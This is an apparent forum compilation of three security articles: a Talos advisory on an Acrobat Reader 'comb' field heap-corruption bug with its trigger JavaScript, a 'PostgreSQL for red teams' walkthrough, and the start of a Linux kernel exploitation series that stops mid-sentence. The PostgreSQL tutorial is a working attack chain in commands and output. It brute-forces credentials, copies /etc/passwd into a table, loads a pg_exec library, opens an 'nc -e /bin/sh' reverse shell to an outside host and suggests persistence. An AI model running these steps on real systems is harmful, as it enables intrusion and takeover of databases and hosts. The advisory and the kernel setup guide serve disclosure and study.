Nytro

Talos Vulnerability Report TALOS-2018-0714 Adobe Acrobat Reader DC text field "comb" property remote code execution vulnerability February 12, 2019 CVE Number CVE-2019-7039 Summary A specific JavaScript code embedded in a PDF file can lead to a heap corruption when opening a PDF document in Adobe Acrobat Reader DC, version 2019.8.20071. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page. Tested Versions Adobe Acrobat Reader DC 2019.8.20071 Product URLs https://get.adobe.com/reader/ CVSSv3 Score 8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CWE CWE-252: Unchecked Return Value Details Adobe Acrobat Reader is the most popular and feature-rich PDF reader on the market today. It has a large user base and is usually the default PDF reader on systems. The software integrates into web browsers as a plugin for rendering PDFs, as well. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow interactive PDF forms. This give the potential attacker the ability to precisely control memory layout and poses an additional attack surface. While executing the following piece of code, an arbitrary out-of-bounds memory access can occur: app.activeDocs[0].getField('txt1')['charLimit'] = 0xed000; app.activeDocs[0].getField('txt1')['comb'] = {}; While manipulating text fields in a PDF, when comb property is set to true, the rendered text field will be split into boxes, with each character of the text field placed into their own one. The number of boxes is controlled by the charLimit property. Above, we set the charLimit property to a large value, which ultimately leads to out-of-bounds memory access. Specifically, the out-of-bounds access happens at the following code: Breakpoint 5 hit eax=540f0ba0 ebx=0c229a98 ecx=001400d4 edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:545f0ef0=c0c0c0c0 [0] 1:009> u AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 6b5c53f0 ff83e4010000 inc dword ptr [ebx+1E4h] [1] 6b5c53f6 8b4708 mov eax,dword ptr [edi+8] 6b5c53f9 8945f4 mov dword ptr [ebp-0Ch],eax 6b5c53fc 8b470c mov eax,dword ptr [edi+0Ch] 6b5c53ff 8945f8 mov dword ptr [ebp-8],eax 6b5c5402 8d45f4 lea eax,[ebp-0Ch] 6b5c5405 50 push eax 1:009> dd eax 540f0ba0 3aded289 418c0e56 3aded289 3f000000 540f0bb0 3b5ed289 418c0e56 3b5ed289 3f000000 540f0bc0 3ba71de7 418c0e56 3ba71de7 3f000000 540f0bd0 3bded289 418c0e56 3bded289 3f000000 540f0be0 3c0b4396 418c0e56 3c0b4396 3f000000 540f0bf0 3c28c155 418c0e56 3c28c155 3f000000 540f0c00 3c449ba6 418c0e56 3c449ba6 3f000000 540f0c10 3c6075f7 418c0e56 3c6075f7 3f000000 1:009> !heap -p -a eax [2] address 540f0ba0 found in _DPH_HEAP_ROOT @ e71000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 43870b94: 540f0ba0 500460 - 540f0000 502000 6d67abb0 verifier!VerifierDisableFaultInjectionExclusionRange+0x000034c0 6d67b07e verifier!VerifierDisableFaultInjectionExclusionRange+0x0000398e 772c34bc ntdll!RtlpNtSetValueKey+0x000041cc 7726e01a ntdll!RtlCaptureStackContext+0x0000f16a 77221453 ntdll!RtlReAllocateHeap+0x00000043 74bc1320 ucrtbase!realloc_base+0x00000030 6b5c579a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0015111e [3] 6b5b0328 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0013bcac 6b5d9881 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00165205 6b5d9238 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164bbc 6b5d90b3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164a37 6b5d8ce3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00164667 6b5d89d7 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x0016435b 6b5d75ae AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162f32 6b5d704a AcroRd32!CTJPEGWriter::CTJPEGWriter+0x001629ce 6b60e0db AcroRd32!CTJPEGDecoderRelease+0x0002436b 6b5d6cc3 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00162647 6b5d63db AcroRd32!CTJPEGWriter::CTJPEGWriter+0x00161d5f 6b6e78fc AcroRd32!CTJPEGDecoderRelease+0x000fdb8c 6b6e69e3 AcroRd32!CTJPEGDecoderRelease+0x000fcc73 6b4714d9 AcroRd32!DllCanUnloadNow+0x0001fcaf 6b470fa5 AcroRd32!DllCanUnloadNow+0x0001f77b 6b470d56 AcroRd32!DllCanUnloadNow+0x0001f52c 6b411267 AcroRd32!AcroWinMainSandbox+0x000077f1 7554be6b USER32!AddClipboardFormatListener+0x0000049b 7554833a USER32!DispatchMessageW+0x0000097a 75547bee USER32!DispatchMessageW+0x0000022e 755479d0 USER32!DispatchMessageW+0x00000010 6b46ffca AcroRd32!DllCanUnloadNow+0x0001e7a0 6b46fd92 AcroRd32!DllCanUnloadNow+0x0001e568 6b40a359 AcroRd32!AcroWinMainSandbox+0x000008e3 6b409c2d AcroRd32!AcroWinMainSandbox+0x000001b7 When the breakpoint is hit at [0] we can see that, we are writing to a buffer pointed to by eax indexed by ecx and then at [2], we see where the buffer is allocated and that its size is large enough. At [1], we also see that the index that ends up in ecx is increased. This code loops many times, bounded by the charLimit property set before. Eventually, the index will be increased enough that the buffer isn't big enough, at which point a different path will be taken, which leads to a call to realloc, at the same location we see at [3] above. This is the code that follows: .text:601E577F lea eax, [ecx+1388h] .text:601E5785 mov [ebx+1D8h], eax .text:601E578B shl eax, 3 .text:601E578E push eax .text:601E578F push dword ptr [ebx+1DCh] .text:601E5795 call indirect_realloc .text:601E579A mov [ebx+1DCh], eax [4] At [4], the pointer returned by realloc is saved in ebx+1dc, which is where the pointer to the buffer used at [0] is stored. Notice that there is no check on the return value of this realloc call. Since this call is increasing the size of the buffer, which is ultimately controlled by the charLimit value, the call to malloc can fail. Unchecked NULL value will be written to buffer pointer and the code loops around to [0]. Usually this would cause just a NULL pointer dereference, but since index in the ecx is growing larger, and is multiplied by 4, we can control the offset of the NULL dereference which results in an arbitrary write. And indeed, if we remove the breakpoints, this results in the following crash: (21d4.157c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0c229a98 ecx=003ae9fc edx=00007532 esi=410d8ff0 edi=410d8fe0 eip=6b5c53eb esp=00cfe768 ebp=00cfe7f4 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 AcroRd32!CTJPEGWriter::CTJPEGWriter+0x150d6f: 6b5c53eb f30f110488 movss dword ptr [eax+ecx*4],xmm0 ds:002b:00eba7f0=???????? 1:009> dd ecx*4 00eba7f0 ???????? ???????? ???????? ???????? 00eba800 ???????? ???????? ???????? ???????? 00eba810 ???????? ???????? ???????? ???????? 00eba820 ???????? ???????? ???????? ???????? 00eba830 ???????? ???????? ???????? ???????? 00eba840 ???????? ???????? ???????? ???????? 00eba850 ???????? ???????? ???????? ???????? 00eba860 ???????? ???????? ???????? ???????? Notice in the above debugging output that eax is NULL, but ecx is large enough to reach userland memory. The above crash is exhibited by the proof of concept with page heap enabled. With further memory control, a more precisely chosen buffer size for which the realloc fails could be chosen, thus enabling control of the write. This could possibly result in further memory corruption and arbitrary code execution. Timeline 2018-11-20 - Vendor Disclosure 2019-02-12 - Public Release Credit Discovered by Aleksandar Nikolic of Cisco Talos. Sursa: https://www.talosintelligence.com/reports/TALOS-2018-0714

PostgreSQL for red teams 13 Feb 2019 unix-ninja Security @ PostgreSQL is a popular open-source relational database with wide platform support. You can find it on a variety of POSIX operating systems, as well as Windows. All software increases exploitation surface area when complexity grows, and Postgres is no exception here. Depending on the configurations of a system, Postgres can be a valuable resource for a red team to leverage in system compromise. Postgres is so commonly available and supported that there are many prebuilt tools which can abstract the exploitation process for you (see Metasploit for some examples.) But I find that getting your hands a bit dirtier helps the learning process. It's important to understand the fundamentals of what you are trying to accomplish before you abstract it away. So let's start hacking PostgreSQL! I shouldn't need to say this, but please don't abuse this knowledge. The targets for this article are red teams, not malicious actors. Please be responsible. Service discovery Nmap is a decent goto scanner for service discovery. We could have easily picked massscan or unicornscan or a host of others, but this works well. The simplest of nmap commands is usually all it takes to discover a Postgres target. (In this example, we will target a single machine called sqlserver, but we can replace that with a range of machines or a subnet if we needed to.) $ nmap sqlserver Starting Nmap 7.40 ( https://nmap.org ) at 2019-02-11 08:42 UTC Nmap scan report for sqlserver (172.16.65.133) Host is up (0.0000020s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 5432/tcp open postgresql Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds At this point, we've verified that the target is alive, and there is a PostgreSQL service running and exposed to the outside. Service access We could use many different methods to gain access to confidential services. Intelligence feeds could reveal access if you are lucky, or perhaps there is a shared folder with credentials, or an unsecured configuration available; but sometimes we need to put a little more effort into it. Credential stuffing (effectively brute forcing credential pairs with a list of usernames and passwords) may be a necessary tactic, and there are plenty of tools out there to help. We could easily use tools like Hydra, Medusa, Metasploit, or many others, but we are going to use ncrack in these examples. For a first pass, we will try to attack the default account postgres using the Rockyou breach list. In Kali Linux, the Rockyou list is provided out-of-the-box (you can find it at /usr/share/wordlists/rockyou.txt.gz). Since I am using Kali for this example, we will first need to unpack the archive before using it. $ gunzip /usr/share/wordlists/rockyou.txt.gz Next, we will try to use this list against the PostgreSQL service by means of ncrack. We will specify the service we are attacking (psql://), the target (sqlserver), the user we want to target (postgres), and the wordlist we want to ingest for password candidates (rockyou.txt). $ ncrack psql://sqlserver -u postgres -P /usr/share/wordlists/rockyou.txt Starting Ncrack 0.5 ( http://ncrack.org ) at 2019-02-11 09:24 UTC Discovered credentials for psql on 172.16.65.133 5432/tcp: 172.16.65.133 5432/tcp psql: 'postgres' 'airforce' Ncrack done: 1 service scanned in 69.02 seconds. Ncrack finished. In this example, we have discovered the credentials for an available user. If this had been unsuccessful, we could always try to enumerate further users and test the same passwords against those. Ncrack even provides the option to load a list of users from a file using the -U flag. With credentials in hand, we can use the psql cli utility to connect to our target remote database. $ psql --user postgres -h sqlserver Password for user postgres: psql (9.6.2) SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) Type "help" for help. postgres=# Success! Service reconnaissance Now that we have access, we want to do a little recon. Start by enumerating the available users and roles. Note that we are intentionally looking for usename in the example below. postgres=# \du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+----------- postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} postgres=# select usename, passwd from pg_shadow; usename | passwd ----------+------------------------------------- postgres | md5fffc0bd6f9cb15de21317fd1f61df60f (1 row) Next, list the available databases and tables. postgres=# \l List of databases Name | Owner | Encoding | Collate | Ctype | Access privileges -----------+----------+----------+---------+---------+----------------------- postgres | postgres | UTF8 | C.UTF-8 | C.UTF-8 | template0 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres template1 | postgres | UTF8 | C.UTF-8 | C.UTF-8 | =c/postgres + | | | | | postgres=CTc/postgres (3 rows) postgres=# \dt No relations found. This particular box doesn't have too much on it, but sometimes you may come across other valuable information you can leverage to pivot later. Command execution Postgres abstracts certain system level functions which it will expose to the database operator. We can easily discover, for example, the contents of the process' working directory using the following: postgres=# select pg_ls_dir('./'); pg_ls_dir ---------------------- PG_VERSION base global pg_clog pg_commit_ts pg_dynshmem pg_logical pg_multixact pg_notify pg_replslot pg_serial pg_snapshots pg_stat pg_stat_tmp pg_subtrans pg_tblspc pg_twophase pg_xlog postgresql.auto.conf postmaster.pid postmaster.opts (21 rows) We can take this a step farther and read the contents of these files. postgres=# select pg_read_file('PG_VERSION'); pg_read_file -------------- 9.6 + (1 row) We can also choose the offset we want to start reading at, and the number of bytes we want to read. For example, let's read a specific 12 bytes near the end of postgresql.auto.conf. postgres=# select pg_read_file('postgresql.auto.conf', 66, 12); pg_read_file -------------- ALTER SYSTEM (1 row) But there are limitations to the pg_read_file() function. postgres=# select pg_read_file('/etc/passwd'); ERROR: absolute path not allowed postgres=# select pg_read_file('../../../../etc/passwd'); ERROR: path must be in or below the current directory Don't despair. We can create a new table and COPY the contents of files on disk into it. Then, we can query the table to see the contents. postgres=# create table docs (data TEXT); CREATE TABLE postgres=# copy docs from '/etc/passwd'; COPY 52 postgres=# select * from docs limit 10; data --------------------------------------------------- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin (10 rows) Getting a reverse shell So now we have access to our service, we can read from files on disk. Now it's time to see if we can launch a reverse shell. Again, Metasploit has a pretty nice payload to abstract this whole process, but what's the fun in that? [Dionach] has a great little library they have written to provide a function called pgexec(). Can you guess what it does? pgexec needs to be compiled against the same major and minor versions as the running Postgres instance. You should be able to just query Postgres for this information. postgres=# select version(); But he also provides prebuilt binaries for many common versions. Let's just grab one of those. $ curl https://github.com/Dionach/pgexec/blob/master/libraries/pg_exec-9.6.so -O pg_exec.so We now have our library, but how do we get it to our target? Fortunately, we can generate LOIDs in Postgres to store this data and then try to write it to disk. postgres=# select lo_creat(-1); lo_creat ---------- 16391 (1 row) Make a note of the lo_creat ID which was generated. You will need this in the examples below. However, there is a caveat here. LOID entries can be a maximum of 2K, so we need to spit the payload. We can do this in our bash shell (just be sure to use the some working directory as you are using for psql.) $ split -b 2048 pg_exec.so Now we can script the SQL statements we need to upload all the pieces of this payload. In this example, we are piping them all into a file called upload.sql. Remember to replace ${LOID} with the ID you grabbed earlier. $ CNT=0; for f in x*; do echo '\set c'${CNT}' `base64 -w 0 '${f}'`'; echo 'INSERT INTO pg_largeobject (loid, pageno, data) values ('${LOID}', '${CNT}', decode(:'"'"c${CNT}"'"', '"'"'base64'"'"'));'; CNT=$(( CNT + 1 )); done > upload.sql With our SQL file in hand, we can include these statements straight from disk into psql. (Again, this assumes that upload.sql is in the same working directory as psql.) postgres=# \include upload.sql INSERT 0 1 INSERT 0 1 INSERT 0 1 INSERT 0 1 INSERT 0 1 Finally, we save our LOID to disk. (Change 16391 to match your LOID.) postgres=# select lo_export(16391, '/tmp/pg_exec.so'); lo_export ----------- 1 (1 row) Create our new function using the library we just copied to disk. postgres=# CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE 'c' STRICT; CREATE FUNCTION Excellent! We should now be able to execute remote commands to our target. pg_exec() won't display the output, so we are just going to run some blind commands to setup our shell. First, make sure there's a listener on your local machine. From another shell window, we can set this up with Ncat or Netcat. $ nc -l -p 4444 Execute the reverse shell. postgres=# select sys('nc -e /bin/sh 172.16.65.140 4444'); We should now have an active reverse shell. To make this a bit more useable, however, we need to spawn a TTY. Lot's of ways to do this, but I am going to use Python. it's pretty universal and it works well. python -c 'import pty; pty.spawn("/bin/sh")' $ Achievement unlocked! Privilege escalation If you're lucky, PostgreSQL was running as root, and you now have total control of your target. If not, you only have an unprivileged shell and you need to escalate. I won't get into that here, but there are plenty of ways you can attempt this. First, I'd recommend setting up persistence. Perhaps creating a scheduled job to open a remote shell in case you are disconnected? Or some sort of back-door into a service. The exact method will be customized to the target. Once that's done, you can work on your post-exploitation recon, maybe some kernel exploits, and pivot from there. Hopefully this article helps you get a little deeper understanding on exploiting PostgreSQL during your engagements. Happy hacking! @ unix-ninja : "Team Hashcat + defender of the realm + artist. CISSP, OSCP, etc. Hack the planet. Break all the things. Thoughts are my own. Passwords are my jam." Sursa: https://www.unix-ninja.com/p/postgresql_for_red_teams

Point of no C3 | Linux Kernel Exploitation - Part 0 Exploit Development exploit 3 2d In the name of Allah, the most beneficent, the most merciful. HAHIRRITATEDAHAHAHAHAHAHAHA “Appreciate the art, master the craft.” AHAHAHAHOUTDATEDAHAHAHAHAH It’s been more than a year, huh? but I’m back, with “Point of no C3”. It’s main focus will be Kernel Exploitation, but that won’t stop it from looking at other things. Summary Chapter I: Environment setup: Preparing the VM Using KGDB to debug the kernel Compiling a simple module What? Few structs Debug a module Chapter II: Overview on security and General understanding: Control Registers SMAP SMEP Write-Protect Paging(a bit of segmentation too) Processes Syscalls IDT(Interrupt Descriptor Table) KSPP KASLR kptr_restrict mmap_min_addr addr_limit Chapter I: Environment setup “No QEMU for you.” Preparing the VM: To begin with, we would set up the environment and the VM’s in order to experiment on them. For this, Debian was choosen(core only). Other choices include SUSE or Centos, etc. debian-9.4.0-amd64-netinst.iso 2018-03-10 12:56 291M [X] debian-9.4.0-amd64-xfce-CD-1.iso 2018-03-10 12:57 646M debian-mac-9.4.0-amd64-netinst.iso 2018-03-10 12:56 294M A VM is then created with atleast 35GB space.(Hey, It’s for compiling the kernel!) Installer disc image file (iso): [C:\vm\debian-9.4.0-amd64-netinst.iso [▼]] ⚠ Could not detect which operating system is in this disc image. You will need to specify which operating system will be installed. Once you boot it, you can proceed with Graphical Install, and since we only want the core, stop at Software selection and have only SSH server and standard system utilities selected. And when it’s done, you’ll have your first VM ready. Debian GNU/Linux 9 Nwwz tty1 Hint: Num Lock on Nwwz login: root Password: Linux Nwwz 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@Nwwz:~# In order to get the latest stable Linux kernel release(4.17.2 at the time of writing) and run it. We would start by installing necessary packages: apt-get install git build-essential fakeroot ncurses* libssl-dev libelf-dev ccache gcc-multilib bison flex bc Downloading the kernel tarball and the patch: root@Nwwz:~# cd /usr/src root@Nwwz:/usr/src# wget "https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/linux-4.17.2.tar.gz" root@Nwwz:/usr/src# wget "https://mirrors.edge.kernel.org/pub/linux/kernel/v4.x/patch-4.17.2.gz" Extracting them: root@Nwwz:/usr/src# ls linux-4.17.2.tar.gz patch-4.17.2.gz root@Nwwz:/usr/src# gunzip patch-4.17.2.gz root@Nwwz:/usr/src# gunzip linux-4.17.2.tar.gz root@Nwwz:/usr/src# tar -xvf linux-4.17.2.tar Moving and applying the patch: root@Nwwz:/usr/src# ls linux-4.17.2 linux-4.17.2.tar patch-4.17.2 root@Nwwz:/usr/src# mv patch-4.17.2 linux-4.17.2/ root@Nwwz:/usr/src# cd linux-4*2 root@Nwwz:/usr/src/linux-4.17.2# patch -p1 < patch-4.17.2 Cleaning the directory and copying the original bootfile to the current working directory and changing the config with an ncurses menu: root@Nwwz:/usr/src/linux-4.17.2# make mrproper root@Nwwz:/usr/src/linux-4.17.2# make clean root@Nwwz:/usr/src/linux-4.17.2# cp /boot/config-$(uname -r) .config root@Nwwz:/usr/src/linux-4.17.2# make menuconfig One must then set up the following fields: [*] Networking support ---> Device Drivers ---> Firmware Drivers ---> File systems ---> [X] Kernel hacking ---> printk and dmesg options ---> [X] Compile-time checks and compiler options ---> ... [*] Compile the kernel with debug info ... ... -*- Kernel debugging ... [*] KGDB: kernel debugger Do you wish to save your new configuration? Press <ESC><ESC> to continue kernel configuration. [< Yes >] < No > Make sure you do have similiar lines on .config: CONFIG_STRICT_KERNEL_RWX=n CONFIG_DEBUG_INFO=y CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=n CONFIG_HARDENED_USERCOPY=n CONFIG_HARDENED_USERCOPY_FALLBACK=n Before starting the compiling process, to faster the process, you can split the work to multiple jobs(on different processors). nproc would hand you the number of processing units available. root@Nwwz:/usr/src/linux-4.17.2# nproc 4 root@Nwwz:/usr/src/linux-4.17.2# make -j4 It will then automatically go through stage 1 & 2: Setup is 17116 bytes (padded to 17408 bytes). System is 4897 kB CRC 2f571cf0 Kernel: arch/x86/boot/bzImage is ready (#1) Building modules, stage 2. MODPOST 3330 modules (SNIP) CC virt/lib/irqbypass.mod.o LD [M] virt/lib/irqbypass.ko root@Nwwz:/usr/src/linux-4.17.2# If somehow, there’s no stage two, a single command should be executed before moving on: (This normally isn’t required.) make modules Installing the modules: root@Nwwz:/usr/src/linux-4.17.2# make modules_install (SNIP) INSTALL sound/usb/usx2y/snd-usb-usx2y.ko INSTALL virt/lib/irqbypass.ko DEPMOD 4.17.0 root@Nwwz:/usr/src/linux-4.17.2# Installing and preparing the kernel for boot: root@Nwwz:/usr/src/linux-4.17.2# make install (SNIP) Found linux image: /boot/vmlinuz-4.17.0 Found initrd image: /boot/initrd.img-4.17.0 Found linux image: /boot/vmlinuz-4.9.0-6-amd64 Found initrd image: /boot/initrd.img-4.9.0-6-amd64 done root@Nwwz:/usr/src/linux-4.17.2# cd /boot root@Nwwz:/boot# mkinitramfs -o /boot/initrd.img-4.17.0 4.17.0 root@Nwwz:/boot# reboot You can then choose the new kernel from the boot screen: *Debian GNU/Linux, with Linux 4.17.0 Debian GNU/Linux, with Linux 4.17.0 (recovery mode) Debian GNU/Linux, with Linux 4.9.0-6-amd64 Debian GNU/Linux, with Linux 4.9.0-6-amd64 (recovery mode) If it fails however, saying that it’s an out-of-memory problem, you can reduce the size of the boot image. root@Nwwz:/boot# cd /lib/modules/4.17.0/ root@Nwwz:/lib/modules/4.17.0# find . -name *.ko -exec strip --strip-unneeded {} + root@Nwwz:/lib/modules/4.17.0# cd /boot root@Nwwz:/boot# mkinitramfs -o initrd.img-4.17.0 4.17.0 It’ll then boot successfully. root@Nwwz:~# uname -r 4.17.0 Using KGDB to debug the kernel: Installing ifconfig and running it would be the first thing to do: root@Nwwz:~# apt-get install net-tools (SNIP) root@Nwwz:~# ifconfig ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.150.145 netmask 255.255.255.0 broadcast 192.168.150.255 (SNIP) Back to Debian machine, transfering vmlinux to the host is done with SCP or WinSCP in my case. root@Nwwz:~# service ssh start .. Répertoire parent vmlinux 461 761 KB Fichier With this, you’ll have debug symbols ready, but you still need to enable KGDB for the target kernel. root@Nwwz:~# cd /boot/grub root@Nwwz:/boot/grub# nano grub.cfg Editing a single line, adding __setup arguments, we would then be able to manipulate the kernel for our needs, such as disabling KASLR and enabling KGDB. Search for the first ‘Debian GNU’ occurence and make sure it’s the wanted kernel, and add the following to the line starting with [X]: kgdboc=ttyS1,115200 kgdbwait nokaslr. menuentry 'Debian GNU/Linux' --class debian --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-b1a66d11-d729-4f23-99b0-4ddfea0af6c5' { ... echo 'Loading Linux 4.17.0 ...' [X] linux /boot/vmlinuz-4.17.0 root=UUID=b1a66d11-d729-4f23-99b0-4ddfea0af6c5 ro quiet kgdboc=ttyS1,115200 kgdbwait nokaslr echo 'Loading initial ramdisk ...' initrd /boot/initrd.img-4.17.0 } In order to debug the running kernel, another VM similer to the one made previously(Debian) will be created(Debian HOST). Now shutdown both VMs in order to set the pipe: Debian: ⦿ Use named pipe: *---------------------------------------* | \\.\pipe\com_2 | *---------------------------------------* [This end is the server. [▼]] [The other end is a virtual machine. [▼]] ---------------------------------------------7 I/O mode ⧆ Yield CPU on poll Allow the guest operating system to use this serial port in polled mode (as opposed to interrupt mode). DebianHOST: ⦿ Use named pipe: *---------------------------------------* | \\.\pipe\com_2 | *---------------------------------------* [This end is the client. [▼]] [The other end is a virtual machine. [▼]] ---------------------------------------------7 I/O mode ⧆ Yield CPU on poll Allow the guest operating system to use this serial port in polled mode (as opposed to interrupt mode). Getting the vmlinux image to DebianHOST after installing necessary packages: root@Nwwz:~# apt-get install gcc gdb git net-tools root@Nwwz:~# cd /home/user root@Nwwz:/home/user# ls vmlinux root@Nwwz:/home/user# gdb vmlinux GNU gdb (Debian 7.12-6) 7.12.0.20161007-git (SNIP) Turning the Debian back on would result in a similiar message: KASLR disabled: 'nokaslr' on cmdline. [ 1.571915] KGDB: Waiting for connection from remote gdb... Attaching to DebianHOST’s GDB is then possible: (gdb) set serial baud 115200 (gdb) target remote /dev/ttyS1 Remote debugging using /dev/ttyS1 kgdb_breakpoint () at kernel/debug/debug_core.c:1073 1073 wmb(); /* Sync point after breakpoint */ (gdb) list 1068 noinline void kgdb_breakpoint(void) 1069 { 1070 atomic_inc(&kgdb_setting_breakpoint); 1071 wmb(); /* Sync point before breakpoint */ 1072 arch_kgdb_breakpoint(); 1073 wmb(); /* Sync point after breakpoint */ 1074 atomic_dec(&kgdb_setting_breakpoint); 1075 } 1076 EXPORT_SYMBOL_GPL(kgdb_breakpoint); 1077 (gdb) Know that by writing ‘continue’ on GDB, you wouldn’t be able to control it again unless you use the magic SysRq key to force a SIGTRAP to happen: root@Nwwz:~# echo "g" > /proc/sysrq-trigger And you can see in DebianHOST that it works. (SNIP) [New Thread 459] [New Thread 462] [New Thread 463] [New Thread 476] [New Thread 485] [New Thread 487] Thread 56 received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 489] kgdb_breakpoint () at kernel/debug/debug_core.c:1073 1073 wmb(); /* Sync point after breakpoint */ (gdb) Compiling a simple module: A simple Hello 0x00sec module would be created. We need to make a directory in root folder, and prepare two files: root@Nwwz:~# mkdir mod root@Nwwz:~# cd mod root@Nwwz:~/mod/# nano hello.c #include <linux/init.h> #include <linux/module.h> static void hello_exit(void){ printk(KERN_INFO "Goodbye!\n"); } static int hello_init(void){ printk(KERN_INFO "Hello 0x00sec!\n"); return 0; } MODULE_LICENSE("GPU"); module_init(hello_init); module_exit(hello_exit); root@Nwwz:~/mod/# nano Makefile obj-m += hello.o KDIR = /lib/modules/$(shell uname -r)/build all: make -C $(KDIR) M=$(PWD) modules clean: rm -rf *.ko *.o *.mod.* *.symvers *.order Then, one can start compiling using ‘make’ and insert/remove the module in kernel to trigger both init and exit handlers. root@Nwwz:~/mod# make make -c /lib/modules/4.17.0/build M=/root/mod modules make[1]: Entering directory '/usr/src/linux-4.17.2' CC [M] /root/mod/hello.o Building modules, stage 2. MODPOST 1 modules CC /root/mod/hello.mod.o LD [M] /root/mod/hello.ko make[1]: Leaving directory '/usr/src/linux-4.17.2' root@Nwwz:~/mod# insmod hello.ko root@Nwwz:~/mod# rmmod hello.ko The messages would be by then saved in the dmesg circular buffer. root@Nwwz:~/mod# dmesg | grep Hello [ 6545.039487] Hello 0x00sec! root@Nwwz:~/mod# dmesg | grep Good [ 6574.452282] Goodbye! To clean the current directory: root@Nwwz:~/mod# make clean What?: The kernel doesn’t count on the C library we’ve been used to, because it’s judged useless for it. So instead, after the module is linked and loaded in kernel-space(requires root privileges, duh). It can use header files available in the kernel source tree, which offers a huge number of functions such as printk() which logs the message and sets it’s priority, module_init() and module_exit() to declare initialization and clean-up functions. And while application usually run with no chance of changing their variables by another thread. This certainly isn’t the case for LKMs, since what they offer could be used by multiple processes at a single time, which could lead(if the data dealt with is sensible, aka in critical region) to a panic, or worse(better?), a compromise. Few structs: The kernel implements multiple locks, only semaphores and spinlocks will likely be used here. When the semaphore is previously held, the thread will sleep, waiting for the lock to be released so he can claim it. That’s why it’s a sleeping lock, therefore, it’s only used in process context. /* Please don't access any members of this structure directly */ struct semaphore { raw_spinlock_t lock; unsigned int count; struct list_head wait_list; }; It can then be initialized with sema_init() or DEFINE_SEMAPHORE(): #define __SEMAPHORE_INITIALIZER(name, n) \ { \ .lock = __RAW_SPIN_LOCK_UNLOCKED((name).lock), \ .count = n, \ .wait_list = LIST_HEAD_INIT((name).wait_list), \ } static inline void sema_init(struct semaphore *sem, int val) { static struct lock_class_key __key; *sem = (struct semaphore) __SEMAPHORE_INITIALIZER(*sem, val); lockdep_init_map(&sem->lock.dep_map, "semaphore->lock", &__key, 0); } With val being the much processes that can hold the lock at once. It’s normally set to 1, and a semaphore with a count of 1 is called a mutex. Another type of locks would be spinlocks, it keeps the thread spinning instead of sleeping, for that reason, it can be used in the interrupt context. typedef struct spinlock { union { struct raw_spinlock rlock; #ifdef CONFIG_DEBUG_LOCK_ALLOC # define LOCK_PADSIZE (offsetof(struct raw_spinlock, dep_map)) struct { u8 __padding[LOCK_PADSIZE]; struct lockdep_map dep_map; }; #endif }; } spinlock_t; #define __RAW_SPIN_LOCK_INITIALIZER(lockname) \ { \ .raw_lock = __ARCH_SPIN_LOCK_UNLOCKED, \ SPIN_DEBUG_INIT(lockname) \ SPIN_DEP_MAP_INIT(lockname) } #define __RAW_SPIN_LOCK_UNLOCKED(lockname) \ (raw_spinlock_t) __RAW_SPIN_LOCK_INITIALIZER(lockname) # define raw_spin_lock_init(lock) \ do { *(lock) = __RAW_SPIN_LOCK_UNLOCKED(lock); } while (0) #endif static __always_inline raw_spinlock_t *spinlock_check(spinlock_t *lock) { return &lock->rlock; } #define spin_lock_init(_lock) \ do { \ spinlock_check(_lock); \ raw_spin_lock_init(&(_lock)->rlock); \ } while (0) Enough with locks, what about file_operations? This struct holds the possible operations that can be called on a device/file/entry. When creating a character device by directly calling cdev_alloc() or misc_register(), it has to be provided along with the 